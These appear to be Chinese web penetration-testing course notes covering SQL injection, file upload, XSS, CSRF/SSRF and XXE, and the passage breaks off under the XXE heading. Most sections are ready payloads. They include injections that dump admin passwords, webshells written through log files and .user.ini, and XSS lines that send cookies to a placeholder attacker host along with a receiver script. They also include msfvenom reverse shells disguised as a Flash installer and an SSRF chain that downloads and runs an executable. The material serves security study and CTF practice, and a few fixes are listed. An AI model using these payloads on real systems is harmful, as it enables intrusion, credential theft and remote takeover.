本文主要是介绍小孩子不懂事,写着玩的,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
Web攻防
特有漏洞
ASP安全
ASPX(.NET)安全
PHP安全
JavaWeb安全
JS,Node.js安全
Java安全
Python安全
通用漏洞
SQL注入
MySQL-root高权限读写注入
PostgreSQL-高权限读写注入
MSSQL-sa高权限读写执行注入
SQL注入体系
oracle数据库读写注入
Mongodb数据库读写注入
SQLMap使用
提交方式注入
增删改查注入,盲注
CTF,二次,堆叠以及DNS.log注入
文件上传
一:
二:
三:
四:
XSS跨站
CSRF&SSRF
XML&XXE
文件包含
文件任意下载&删除&读取
RCE
序列化
php反序列化
一:
二:
Java反序列化
Python反序列化
业务逻辑
购买支付逻辑
Web攻防
特有漏洞
ASP安全
MDB数据库,IIS(中间件)短文件名,解析,写入权限
ASPX(.NET)安全
DLL反编译,调试信息泄露,未授权访问
PHP安全
==(弱类型比较)与===(会比较数据类型);intval函数(取整数)使用进制或小数进行绕过;
strpos函数(查询指定字符第一次出现的位置)使用换行(0x0a)空格(0x20,+)进行绕过;
inarray函数第三位参数(true)是否设置,如果没有设置则是弱类型比较;preg_match函数使用数组,没有m(换行)进行限制的正则表达式可以使用换行进行绕过,str_replace函数无递归替换。
JavaWeb安全
身份认证
键值逻辑:使用键名键值直接进行对比验证错误
JWT攻击:1、前面未验证进行空加密2、爆破密钥3、KID利用与其他漏洞进行组合
访问控制
隐藏属性:前端页面的自慰限制显示(只显示部分信息)
水平越权:同一级别用户权限的查看
JS,Node.js安全
1. 源生JS开发框架-安全条件
2.常见安全问题-前端验证&未授权访问
什么是JS渗透测试?
在JS中也存在变量以及函数,当存在可控变量及函数调用即可能出现参数漏洞
JS开发的Web应用和PHP,Java,.NET等区别在于有没有源码,可以通过浏览器的查看源代码获取真实的点,所以相当于JS开发的Web应用属于白盒测试(默认有源代码)
流行的JS框架有哪些?
VUE,Node
如何判断JS开发应用?
插件wapplayzer,源代码简短,引入多个JS文件,一般有/script/js/app.js 等顺序的js文件
cookie中有connect.sid
如何获取更多的JS文件?
method:"get"
http.get("
method:"post"
http.post("
$.ajax
service.httppost
service.httpget
特性 相对于没源码PHP属于有源码白盒测试
安全
源生代码
引用框架 node,vue
安全漏洞 前端验证,url泄露,未授权访问
Java安全
JAR反编译,URL路由代码关系,加载jar包
身份验证 JWT安全:空算法无签名,爆破密钥,KID攻击
安全组件
看项目中带有的组件jar 判断有没有安全风险组件
看代码中声明包含的组件,在哪里利用看代码
Python安全
PYC文件反编译
pyc文件是py文件编译后产生的字节码文件{byte code},pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件
Python-Web-SSTI
什么是SSTI?有什么漏洞危害?
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题,其影响范围主要取决于模板引擎的复杂性
如何判断检测SSTI漏洞的存在?
输入的数据会被浏览器利用当前脚本语言调用解析执行
SSTI会产生在哪些开发应用中?
SSTI安全问题在生产环境哪里产生?
存在模板引用的地方,入404错误页面展示
存在数据接收引用的地方,如模板解析获取参数数据
SSTI模板注入利用分析
CTF靶场,shrine
1,源码分析SSTI考点
2,测试判断SSTI存在
3,分析代码过滤和FLAG存储
4,利用Flask两个函数利用获取
url_for() 用于构建操作指定函数的url
get_flashed_messages() 获取传递过来的数据
/shrine/{{url_for.__globals__}}
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
CMS源码 MACCMS_V8.X执行
payload:index.php?m=vod-search&wd={if-dddd:phpinfo()}{endif-dddd}
1.根据wd传递的代码找指向文件
2.index->vod->tpl->ifex->eval
3.构造Payload带入ifex并绕过后执行
通用漏洞
SQL注入
a.脚本代码与数据库前置知识
b.Access数据库注入-简易&偏移
c.Mysql数据库注入-简易&权限跨库
前置知识:
SQL注入漏洞产生原理分析
SQL注入漏洞危害利用分析
脚本代码与数据库操作流程
1.猜测数据库类型
2.根据类型选择思路
数据库名,表名,列名,数据
数据库类型,数据库用户,用户权限
脚本代码在实现代码与数据库进行通讯时(从数据库取出相关数据进行页面展示),将定义的SQL语句执行查询数据时,其中的SQL语句能通过传递参数自定义值来控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中敏感数据,如管理员账号密码)。这个过程就可以叫做SQL注入漏洞
漏洞产生根本条件:可控变量,特定函数
ASP+Access简易注入-字典猜解
由于Access数据库特性导致SQL注入是需要借助字典去猜解表名和列名,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入。
ASP+Access偏移注入-报错显示
偏移注入就是解决表名已知,列名未知的情况
为了网站和数据库的安全性,MySQL内置有root最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。
MySQL两种思路:
1.非root的注入攻击:常规类的猜解
2.root用户的注入攻击:猜解数据,文件的读写操作,跨库查询注入等
黑盒测试中可以采用user()获取当前用户权限,白盒测试中看连接用户即可
MySQL5.0以上版本:自带的数据库名:information_schema,用于存储数据库下的数据库名及表名,列名信息的数据库,columns(列名),tables(表名),schemeta(数据库名)
获取当前数据库下面的表名信息:
union select table_name,2,3,4,5,6 from information_schema.tables where table_schema = 'syguestbook'
获取sy_adminuser的列名信息:
union select column_name,2,3,4,5,6 from information_schema.columns where table_name = 'sy_adminuser' and table_schema = 'syguestbook'
获取指定数据:
union select username ,password,3,4,5,6 from sy_adminuser
跨库注入:实现当前网站跨库查询其他数据库对应网站的数据,获取当前mysql下所有数据库名
union select schemata_name,2,3,4,5,6 from information_schema.schemata
获取数据库名xhcms下的表名信息
union select schemata_name,2,3,4,5,6 from information_schema.tables where table_schema = 'xhcms'
获取数据库名xhcms下表manage的列名信息
union select column_name,2,3,4,5,6 from information_schema.columns where table_name = 'manage' and table_schema = 'xhcms'
获取指定数据:
union select user ,password,3,4,5,6 from xhcms.manage
获取相关数据:
a、数据库版本-看是否符合information_schema查询-version()
b、数据库用户-看是否符合root类型注入攻击-user()
c、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
d、数据库名-为后期猜解指令数据库下的表,列做准备-database()
1.SQL注入-mysql数据库
2.SQL注入-mssql数据库
3.SQL注入-Postgre数据库
Access无最高注入点只能猜解,还是暴力猜解
MySQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等
MySQL-root高权限读写注入
读取文件:
union select 1,loadfile('d:/w.txt'),3,4,5
写入文件:
union select 1,'xxxx',3,4,5 into outfile/[dumpfile] 'd:/www.txt'
路径获取:phpinfo,报错,字典等
无法写入:secure_file_priv 突破 注入中需要支持SQL环境,如没有就需要借助phpadmin或能够直接连上对方数据库进行绕过
set global slow_query_log=1 开启慢日志记录
set global slow_query_log='shell路径';
select '<?php eval($_Get[A])?>' or sleep(11);
PostgreSQL-高权限读写注入
测列数:
order by 4
and 1=2 union select null,null,null,null
测显位:第2,3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误
获取信息:
and 1=2 union select null,version(),null,null
and 1=2 union select null,current_user(),null,null
and 1=2 union select null,current_database(),null,null
获取数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from pg_database
获取当前数据库表名:
1,and 1=2 union select null,string_agg(datname,','),null,null from pg_tables where schemaname ='public'
2,and 1=2 union select null,string_agg(datname,','),null,null from pg_stat_user_tables
获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'
获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from rg_users
补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的)
and 1=2 union select null,string_agg(usename,','),null,null from pg_user where usesuper is true
https://www.freebuf.com/sectool/249371.html
MSSQL-sa高权限读写执行注入
测列数:
order by 4
and 1=2 union all select null,null,null,null
侧显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null
获取信息:
@@version 获取版本信息
db_name() 获取数据库名
user,system_user,current_user,user_name获取当前用户名
@@SERVERNAME 获取服务器主机信息
and 1=2 union all select null,db_name(),null,null
获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype ='u'),null,null
union all select null ,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype ='u' and name not in ('manage')),null,null
获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
获取数据:
and 1=2 union all select null,username,password,null from manage
SQL注入体系
1.数据库注入 access,mysql,mssql,Oracle,mongodb,postgresql等
2.数据类型注入 数字型,字符型,搜索型,加密型(base64,json等)
3.提交方式注入 get,post,cookie,http头等
4.查询方式注入 增删改查,堆叠等
5.复杂注入利用 二次注入,dnslog注入,绕过bypass等
oracle数据库读写注入
测回显
and 1=2 union select '1' ,'2' from dual
爆库:
and 1=2 union select '1' ,(select table_name from user_tables where rownum=1) from dual
模糊爆库:
and 1=2 union select '1' ,(select table_name from user_tables where rownum=1 and table_name like '%user') from dual
爆列名:
and 1=2 union select '1' ,(select column_name from all_tab_columns where rownum=1 and table_name = 'sns_users') from dual
爆其他列名:
and 1=2 union select '1' ,(select column_name from all_tab_columns where rownum=1 and table_name = 'sns_users' and column_name not in ('USER_NAME')) from dual
爆数据:
and 1=2 union select user_name,user_pwd from "sns_users"
爆其他数据:
and 1=2 union select user_name,user_pwd from "sns_users" where USERNAME<>'hu'
Mongodb数据库读写注入
测回显:
/new_list.php?id=1'});return({title:1,content:'2
爆库:
/new_list.php?id=1'});return({title:tojson(db),content:'1
爆表:
/new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),content:'1
爆字段:
/new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'1
db.getCollectionNames()返回的是数组,需要用tojson转换为字符串
db.Authority_confidential是当前用的合集(表),find函数用于查询,0是第一条数据
SQLMap使用
1.判断数据库注入点
2.判断注入点权限
SQLMAP 数据库注入数据猜解
SQLMAP 高权限注入读写执行
SQLMAP 高权限注入联动MSF
SQLmap使用参数:
参考:https://www.cnblogs.com/bmjoker/p/9326258.html
爆库 --dbs
爆表 --tables -D "库名"
爆字段 --columns -T "表名" -D "库名"
爆数据 --dump -C "列名(字段名)" -T "表名" -D "库名"
--file-read 读出
--file-write 写入
--file-dest 上传
命令执行
--os-shell
--os-cmd
插件使用
数字型 0-9 一般没有符号考虑
字符型 a-z 中文 标点符号 加入了单引号 一般闭合单引号
搜索型 在基础上又加入了通配符% 一般闭合单引号加通配符%
编码型 数据以编码值传递 注入payload需要进行编码后发送
加密型 数据以加密的密文发送过去 注入payload需要进行加密后发送
格式型 JSON 符合格式注入即可
%df 宽字节绕过转义字符
扫描,利用工具等都不会自动判断数据类型,格式等,所以即使有漏洞也测不出来,具体还是需要人工的去观察,进行工具的修改或加载插件再次探针才可以
数据进行编码接受处理:
发送编码值,对方通常会进行解码后带入数据在进行sql执行
在注入的时候,我们也要尝试对注入的Payload进行编码后提交
开发程序里,数字不需要单引号,字符需要单引号 双引号去进行概括
需要考虑到符号的闭合 才能正确的执行SQL 完成SQL注入
提交方式注入
数据请求方式-get&post&cookie等
常见功能点请求方式-用户登录&IP记录等
黑盒白盒注入测试要点-SQLMAP注入参数
黑盒测试:功能点分析
白盒测试:功能点分析&关键代码追踪
GET
POST 表单,上传
COOKIE 身份验证
HTTP头 UA头,XFF头,来源头
增删改查注入,盲注
1,明确查询方式注入Payload
2,明确查询方式注入产生功能
3,明确SQL盲注延时&布尔&报错
详细点:
盲注就是在注入过程中,获取的数据不能回显至页面前端
此时,就需要利用一些方法进行判断或者尝试,这个过程称之为盲注
解决:常规的联合查询注入不行的情况
盲注分为以下三类:
基于布尔的sql盲注-逻辑判断
regexp,like,ascii,left,ord,mid
基于时间的sql盲注-延时判断
if,sleep
基于报错的sql盲注-报错回显
floor,updatexml,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c
sql-盲注&布尔&报错&回显
查询-select-xhcms-布尔盲注
插入-insert-xhcms-报错盲注
更新-update-xhcms-报错盲注
删除-delete-kkcms-延时盲注
php开发项目-输出结果&开启报错
基于延时 都不需要
/blog/news.php?id=1 and if(1=1,sleep(5),0)
基于布尔 有数据库输出判断标准
/blog/news.php?id=1 and length(database())=7
基于报错 有数据库报错处理判断标志
/blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
知识点:
1,查询方式增删改查四种特性决定,部分是不需要进行数据取出和显示,所以此类注入基本上需要盲注才能正常得到结果(黑盒测试可以根据功能判断注入的查询方式)
2,查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻,修改文章等)
CTF,二次,堆叠以及DNS.log注入
知识点
a:数据库堆叠注入
根据数据库类型决定是否支持多条语句执行
b:数据库二次注入
应用功能逻辑涉及上导致的先写入后组合的注入
c:数据库Dnslog注入
解决不回显(反向连接),sql注入,命令执行,SSRF等
d:黑盒模式分析以下
二次注入:插入后调用显示操作符合
堆叠注入:判断注入后直接调多条执行
DNS注入:在注入上没有太大利用价值
堆叠注入
根据数据库类型决定是否支持多条语句执行
支持堆叠数据库类型:Mysql,Mssql,Postgresql等
DNS利用
1,平台
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
2,场景
解决不回显,反向连接,sql注入,命令执行,SSRF等
二次注入
文件上传
一:
知识点:
1.文件上传-前端验证
2.文件上传-黑白名单
3.文件上传-.user.ini妙用
4.文件上传-php特性
详细点:
a:检测层面:前端,后端等
b:检测内容:文件头,完整性,二次渲染等
c:检测后缀:黑名单,白名单,MIME检测等
d:绕过检测,多后缀解析,截断,中间件特性,条件竞争等
本章内容:
1,文件上传-ctf赛题知识点
2,文件上传-中间件解析&编辑器安全
3,文件上传-实例cms文件上传安全分析
当含有php关键字过滤时,进行修改语句
<? echo '123';?> 前提是开启配置参数short_open_tags=on
<?=(表达式)?> 不需要开启参数配置
<% echo '123';%> 前提是开启配置参数asp_tags = on
<script language="php"> echo '1'; </script> 不需要修改参数开关
.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST[x]);?>
含有[]过滤可以考虑{}
含有; php以及[]过滤考虑 <?=system('tac ../flag.*')?>
含有()过滤考虑使用反引号运算符的效果与函数shell_exec()相同 <?=`tac ../f*`?>
含有`过滤考虑使用 <?=include"/var/lo"."g/nginx/access.lo"."g"?> 再配合UA头插入后面代码
二:
知识点:
1,文件上传,二次渲染
2,文件上传,简单免杀变异
3,文件上传,htaccess妙用
4,文件上传,php语言特性
前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess
162 突破过滤
利用远程包含IP转换地址后门调用执行
.user.ini auto_prepend_file=png
png<?=include'http://...'>
https://www.bejson.com/convert/ip2int/
163 突破上传删除
过滤(){}等同时删除文件
直接利用.user.ini远程包含
auto_prepend_file=http://... 转换为数字ip
自动删除 规则
1.什么都删除
2.后门代码删除
条件竞争:在上传成功,立马访问,创建新型代码(代码被执行后重新新建一个文件)
164 png二次渲染
https://blog.csdn.net/qq_40800734/article/details/105920149
get 0=system
post 1=tac flag.php
文件二次渲染
1,判断上传前与上传后的文件大小及内容
2,判断上传后的文件返回数据包内容
167 .htaccess妙用
.htaccess默认不支持nginx,设置后支持
.htaccess可以通过设置实现文件解析设置
将.png后缀的文件解析成.php
AddType application/x-httpd-php.png
将.png后缀的文件解析成php
168 免杀后门
<php $a='syste' $b='m' $c=$a.$b.$c("tac ../flagaa.php");?>
169 170日志包含
构造 .user.ini利用条件:上传index.php内容随意
上传 .user.ini包含日志:auto_propend_file=/var/log/nginx/access.log
访问地址带后门UA头写入日志 <?=eval($_POST[x]);?>
三:
中间件文件解析-IIS&Apache&Nginx
-IIS 6 7 文件名 目录名
1.文件名:x.asp;.x.jpg
2.目录名:x.asp/x.jpg
3.IIS7.X与Nginx解析漏洞一致
上传文件能不能修改上传目录或上传的文件名能增加命名
上传的文件名固定的或者目录也无法创建 那么解析漏洞无用武之地
-Apache 换行解析 配置不当
1.换行解析-CVE-2017-15715
其中2.4.0~2.4.29版本中存在一个解析漏洞
2.配置不当-.htaccess配置不当
AddHandler applycation/x-httpd-php.php
黑名单验证(在黑名单后缀不让上传 php jsp 等)
php%0a绕过黑名单 这个后缀也能够正常解析后门代码
白名单可能不行(在白名单里面才可以上传 jpg png gif 等)
1.jpg.php%0a 没考虑最后一个点为后缀,白名单就可以
文件名需要基于本地上传为准
-Nginx 文件名逻辑 解析漏洞
1.文件名逻辑-CVE-2013-4547
影响版本:Nginx 0.8.41~1.4.3/1.5.0~1.5.7
2.解析漏洞-Nginx.com配置不当
由此可知,该漏洞与Nginx,php版本无关,属于用户配置不当造成的解析漏洞
Web应用编辑器-Ueditor文件上传安全
网页后门代码
实例cms&平台中间件解析&编辑器引用
1.中间件配置不当导致文件被恶意解析
2.cms源码引用外部编辑器实现文件上传
四:
黑盒:寻找一切存在文件上传的功能应用
a:个人用户中心是否存在文件上传功能
b:后台管理系统是否存在文件上传功能
c:字典目录扫描探针文件上传构造地址
d:字典目录扫描探针编辑器目录构造地址
白盒:看三点,中间件,编辑器,功能代码
1,中间件直接看语言环境常见搭配
2,编辑器直接看目录机构或搜索关键字
3,功能代码直接看源码应用或关键字搜索
白盒审计-Finecms-代码常规-处理逻辑
黑盒思路:寻找上传点抓包修改突破获取状态码及地址
审计流程:功能点-代码文件-代码块-抓包调试-验证测试
白盒审计-CuppaCms-中间件-.htaccess
黑盒思路:存在文件管理上传改名突破,访问后再突破
审计流程:功能点-代码文件-代码块-抓包调试-验证测试
白盒审计-Metinfo-编辑器引用-第三方安全
黑盒思路:探针目录利用编辑器漏洞验证s
审计流程:目录结构-引用编辑器-编辑器安全查询-EXP利用验证
XSS跨站
知识点:
a:XSS跨站-原理&攻击&分类等
b:XSS跨站-反射型&存储型&DOM型等
c:XSS跨站-攻击手法&劫持盗取凭据等
d:XSS跨站-攻击项目&XSS平台&Beef-XSS javascript:alert(1)
cookie获取,跳转,钓鱼社工,配合漏洞
XSS跨站系列内容
反射&存储&DOM&盲打&劫持
1.XSS跨站-原理&分类&手法
2.XSS跨站-探针&利用&审计
3.XSS跨站-另类攻击手法利用
4.XSS跨站-防御修复&绕过策略
1、原理
指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料,利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本
-数据交互的地方
get,post,headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
-数据输出的地方
用户资料
关键词,标签,说明
文件上传
2、分类
反射型(非持久型) 一次性构造利用
存储型(持久型) 攻击代码存储在数据库中的持久型XSS攻击
DOM型 接收输出均在JS实现,后期的构造在html代码中
mXSS(突变型XSS) 过滤后,通过分享,转载,预览等激活成功
UXSS(通用型XSS) 浏览器漏洞导致
Flash XSS swf与js代码的调用 黑盒:爬虫,目录扫描,探针。swf下载后反编译审计 白盒:swf下载后反编译审计 反编译工具 JPEXS Free Flash Decompiler
PDF XSS 1,创建pdf,创建动作js 2,通过文件上传获取直链 3,直链地址访问后被触发
以下类型利用条件过时,大部分都是低版本IE才能支持
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS
3、危害
网络钓鱼,包括获取各类用户账号
窃取用户cookies资料,从而获取用户隐私信息,或者利用用户身份对网站执行操作
劫持用户(浏览器)会话,从而执行任意操纵,例如非法转账、发表日志、邮件等;强制弹出广告页面、刷流量等
页面挂马;
权限维持,flash钓鱼,浏览器网马,实时cookie获取,实时表单获取明文
进行恶意操作,如人意篡改页面信息、删除文章等
进行大量的客户端攻击,如ddos
获取客户端信息,如用户的浏览历史、真实ip、开放端口等
控制受害机器向其他网站发起攻击
结合其他漏洞,如csrf,实施进一步危害
提升用户权限,包括进一步渗透网站
传播跨站脚本蠕虫等
4、修复
a:过滤一些危险字符
b:HTTP-only Cookie
c:设置CSP(Content Security Policiy)
d:输入内容长度限制,转义等
MXSS:https://www.fooying.com/the-art-of-xss-1-introduction/
UXSS:Universal Cross-Site Scripting
UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型
MICROSOFT EDGE uXSS CVE-2021-34506
Edge浏览器翻译功能导致JS语句被调用执行
https://www.bilibili.com/video/BV1fX4y1c7rX
FlashXSS-swf引用js的xss
JPEXS Free Flash Decompiler
phpwind SWF 反编译 Flashxss
Externallnterface.call 执行JS代码
payload:/res/js/dev/util_libs/Player/Jplayer.swf?jQuery=alert(1))}catch(e){}//
PDFXSS-上传后直链触发
1.创建pdf,加入动作JS
2.通过文件上传获取直链
3.直链地址访问后被触发
XSS-后台植入Cookie&表单劫持
-条件:已取得相关Web权限后
1,写入代码到登录成功文件,利用beef或XSS平台实时监控Cookie等凭据实现权限维持
2,若存在同源策略或防护情况下,Cookie获取失败可采用表单劫持或数据明文传输实现
XSS-Flash钓鱼配合MSF捆绑上线
-条件:beef上线受控后或直接钓鱼
1)生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe>flash.exe
2)下载官方文件-保证安装正常
3)压缩捆绑文件-解压提取运行
4)MSF配置监听状态
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set Ihost 0.0.0.0
set Iport 6666
run
5)诱使受害者访问URL-语言要适当
XSS-浏览器网马配合MSF访问上线
条件:beef上线受控后或直接钓鱼(浏览器存在0day)
1.配置MSF生成url
use exploit/windows/browser/ms14_064_ole_code_execution
set allowpowershellprompt true
set target 1
run
2.诱使受害者访问url-语言要适当
CTF
316-反射型直接远程调用
<script>window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie</script>
服务器准备接收一个文件 接收Cookie get.php
js:document.cookie
window.location.href='https://xx.xx.xx.xx//get.php?c='+document.cookie
<?php
$cookie = $_GET['c'];
$Myfile = fopen("cookie.txt","w+");
fwrite($Myfile,$cookie);
fclose($Myfile);
?>
317-反射型过滤<script>
<img src=1 οnerrοr=window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie>
318 319-反射型过滤<img>
<input οnlοad="window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie;">
<svg οnlοad="window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie;">
320-326 反射型过滤空格
<svg/οnlοad="window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie;">
327 存储型无过滤
<script>window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie;</script>
328 存储型-注册插入JS
<script>window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie;</script>
329 存储型-失效凭据需一步完成操作
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show')>-1){
window.location.href='http://xx.xx.xx.xx/get.php?c='+value.innerHTML;
}
});
330 存储型 借助修改密码充值管理员密码(GET)
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
331 存储型 借助修改密码充值管理员密码(POST)
<script>$.ajax({url:http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}})</script>
XSS修复-过滤函数&http_only&CSP&长度限制
1.过滤一些危险字符,以及转义字符& < > " ' 等危险字符
自定义过滤函数引用
2.HTTP-only Cookie
https://www.php.cn/php-ask-457831.html
php.ini设置或代码引用
session.cookie_httponly=1
ini_set("session.cookie_httponly",1);
3.设置CSP(Content Security Policy)
https://blog.csdn.net/a1766855068/article/details/89370320
header("Content-Security-Policy:img-src 'self' ");
4.输入内容长度限制,实体转义等
CSRF&SSRF
知识点:
a:CSRF-原理&危害&探针&利用
b:SSRF-原理&危害&探针&利用
c:CSRF&SSRF-黑盒下漏洞探针特点
CSRF:Cross-site request forgery,即跨站请求伪造,也被称为“One Click Attack”或“Session Riding”,通常缩写为CSRF或XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么都没输,但自己的qq号或其他的号就被盗了,即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性
CSRF的攻击过程两个条件:
1、目标用户已经登录了网站,能够执行网站的功能
2、目标用户访问了攻击者构造的url
CSRF安全问题黑盒如何判断:
a:看验证是否为网站同一来源-修复
b:看凭据有无token-修复
c:看关键操作有无验证-修复
CSRF安全问题白盒怎么审计:
同黑盒思路一样,代码中分析上述三看
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务器端发出请求的一个漏洞,一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务器端发起的,所以他能够请求到与它相连而外网隔离的内部系统)SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,比如从指定url地址获取网页文本内容,加载指定地址的图片,下载等等
SSRF黑盒可能出现的地方
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过url地址把原地址网页内容调优使其更适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过url地址加载或下载图片
5.图片/文章收藏功能:主要其会取url地址中tittle以及文本的内容作为显示以求一个好的用户体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理,属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理
11.未公开的api实现以及其他扩展调用url功能:可以利用google语法加上这些关键字去寻找SSRF漏洞
一些url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURL、ImageURL、domain。。。
12.从远程服务器请求资源(upload from url 如 discuz!: import & export rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
SSRF白盒可能出现的地方:
a:功能点抓包指向代码块审计
b:功能点函数定位代码块审计
SSRF常见安全修复防御方案
1、禁用跳转
2、禁用不需要的协议
3、固定或限制资源地址
4、错误信息统一信息处理
系列内容点:
1.CSRF&SSRF&原理&利用&协议等
2.CSRF&SSRF&黑盒&审计&修复等
CSRF 原理&后台自动添加管理员
-案例说明:小迪在登录后台管理自己网站的时候,群里给小迪说阿祖又爱上了别人,随后点击了别人发的url链接,GG
小迪的网站:http://test.xiaodi8.com/
发送的url:http://xx.xx.xx.xx//add.html
利用流程:
1、获取目标的触发数据包
2、利用CSRFTester构造导出
3、诱使受害者访问特定地址触发
SSRF 原理&服务&协议&内网&漏洞
-参考:https://www.t00ls.cc/articles-41070.html
案例说明:小迪在本地创建了远程图片文件加载应用,直接被攻击者利用SSRF探针本地及内网服务,并利用某漏洞直接获取到了内网某主机的权限!
1.服务探针:
http://127.0.0.1:8081/
http://127.0.0.1:3306/
2.协议玩法:
file:///D:/www.txt
dict://127.0.0.1:3306/info
ftp://192.168.46.148:21
3.内网扫描
http://192.168.46.148:8080
4.漏洞利用
生成:msfvenom -p windows/meterpreter/reverse_http LHOST=xx.xx.xx.xx LPORT=6688 -f exe -o xx.exe
监听:
use exploit/multi/handler
set payload windows/meterpreter/verse_http
set lhost 0.0.0.0
set lport 6688
run
下载:http://xx.xx.xx.xx:8080/?search==%00{.exec|cmd.exe%20/c%20certutil%20-urlcache%20-split%20-f%20http://xx.xx.xx.xx:117/xx.exe.} (前内后外)
执行:http://192.168.46.148:8080/?search==%00{.exec|xx.exe.}
1,直接复现有没有
成功-》有
失败-》代码-》缺陷过滤(绕过)-》有
失败-》代码-》完整过滤-》没有
来源检测:
a:伪造-需要在代码数据包文件固定来源
b:尝试在网站寻找可上传地方,上传数据包文件,取得当前同域名访问地址
其他漏洞:
关键函数 和 应用功能
1、特定漏洞功能-》代码段分析审计
2、特定漏洞函数-》测试对应功能判断
功能点-采集 审计
采集添加-测试-抓包-代码-远程请求资源操作(函数)
函数-功能 审计
file_get_contents()
XML&XXE
客户端:xml发送数据
服务端:xml解析数据
利用xml写一个带有文件读取的代码尝试发送,类似文件读取功能实现
实体引用:引用远程的evil2.dtd文件
1、解决拦截防护绕过问题
2、解决数据回显问题
知识点:
1.XML&XXE-原理&发现&利用&修复等
2.XML&XXE-黑盒模式下的发现与利用
3.XML&XXE-白盒模式下的审计与利用
4.XML&XXE-无回显&伪协议&产生层面
思路点:
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
XXE黑盒发现:
a:获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
b:不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
c:XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
XXE白盒发现:
1.可通过应用功能追踪代码定位审计
2.可通过脚本特定函数搜索定位审计
3.可通过伪协议玩法绕过相关修复等
详细点:
